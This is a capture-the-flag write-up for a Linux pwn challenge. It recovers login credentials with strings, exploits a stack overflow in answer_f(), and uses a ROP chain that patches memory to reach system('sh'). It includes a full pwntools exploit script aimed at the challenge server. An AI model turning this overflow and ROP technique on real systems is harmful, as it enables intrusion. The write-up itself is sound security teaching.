They
They
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-07 | Status: Solved Techniques: credential_recovery_via_strings, internal_command_path_reuse, rop_without_libc_leak, stack_buffer_overflow, writable_memory_patch
Summary
Task: 64-bit login service split between a main ELF and libanswer.so; after valid credentials, answer_f() reads 145 bytes into a 32-byte stack buffer. Solution: use a short ROP chain in the non-PIE main binary to set the gate byte to 1, rewrite ls to sh, and fall back into the built-in jmp() path to execute system(\"sh\").
They — hackerlab
Description
Они
We receive two files, task and libanswer.so, and a remote service at 62.173.140.174:17700. The binary asks for credentials, prints a long dialogue, then transfers control into the shared library; the goal is to obtain the flag in CODEBY{...} format.
Analysis
Binary layout
task is an ELF64 executable with no PIE, NX, no canary, and partial RELRO. libanswer.so is an ELF64 shared object with PIE, NX, and no canary. The important consequence is that the main binary has fixed code and data addresses, so a tiny ROP chain can reliably target its gadgets and writable memory.
Recovering credentials
Running strings on the provided files reveals the login pair:
- username:
oleg - password:
snorok
Those credentials are enough to reach the vulnerable code path.
The bug in libanswer.so
After authentication, the program eventually calls answer_f() from libanswer.so. That function performs:
c read-only • copy allowedchar buf[0x20]; scanf("%145s", buf);
So the service reads up to 145 bytes into a 32-byte stack buffer. The saved return address is reached after 40 bytes, which gives direct RIP control.
Useful post-return path in the main binary
The cleanest route is not ret2libc. After answer_f() returns, main normally continues at 0x4016f6 and then calls helper 0x401316. That helper:
- reads one byte from
0x4054d9 - uses it as the first argument named
flag - calls
jmp(flag, "ls")
Inside libanswer.so, jmp(flag, cmd) forwards to kronos(flag, cmd), and kronos executes system(cmd) only if flag == 1.
This means the program already contains an authorized path to system(). We only need to patch the state that reaches it.
Gadgets
The main binary contains everything needed:
0x401344:pop rax; ret0x401360:mov bx, word ptr [rax]; ret0x401351:mov word ptr [rax], bx; ret
These gadgets let us copy 16-bit values from one address to another through bx.
What to patch
Two memory edits are enough:
- Copy the word at
0x4012fcinto0x4054d9, so the checked flag byte becomes1. - Copy the word
"sh"from0x4054bbinto0x4040a0, replacing the original command string"ls".
After these writes, returning to 0x4016f6 makes the program continue as intended, except now it effectively executes:
c read-only • copy allowedjmp(1, "sh");
which becomes system("sh").
Solution
Exploitation plan
- Connect to the remote service.
- Send the credentials
oleg/snorok. - Wait until the program reaches
scanf()inanswer_f(). - Send a 40-byte padding followed by the ROP chain.
- Let the binary resume at
0x4016f6, which now reachessystem("sh"). - From the spawned shell, read
/flag.
Exploit script
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST = "62.173.140.174" PORT = 17700 context.arch = "amd64" context.os = "linux" OFFSET = 40 POP_RAX = 0x401344 MOV_BX_PTR_RAX = 0x401360 MOV_PTR_RAX_BX = 0x401351 RESUME = 0x4016F6 SRC_FLAG_WORD = 0x4012FC DST_FLAG_WORD = 0x4054D9 SRC_SH_WORD = 0x4054BB DST_CMD_WORD = 0x4040A0 def copy_word(src, dst): return flat( POP_RAX, src, MOV_BX_PTR_RAX, POP_RAX, dst, MOV_PTR_RAX_BX, ) def build_payload(): rop = flat( copy_word(SRC_FLAG_WORD, DST_FLAG_WORD), copy_word(SRC_SH_WORD, DST_CMD_WORD), RESUME, ) return b"A" * OFFSET + rop def drain(io, pause=0.4): data = b"" while True: chunk = io.recvrepeat(pause) if not chunk: break data += chunk if len(chunk) < 4096: break return data def main(): io = remote(HOST, PORT) # The service prints a long dialogue, so simple timed interaction is enough. drain(io) io.sendline(b"oleg") drain(io) io.sendline(b"snorok") drain(io, pause=1.0) io.sendline(build_payload()) drain(io, pause=1.0) io.sendline(b"cat /flag") io.interactive() if __name__ == "__main__": main()
Result
The spawned shell allows reading /flag, which returns:
text read-only • copy allowedCODEBY{REDACTED}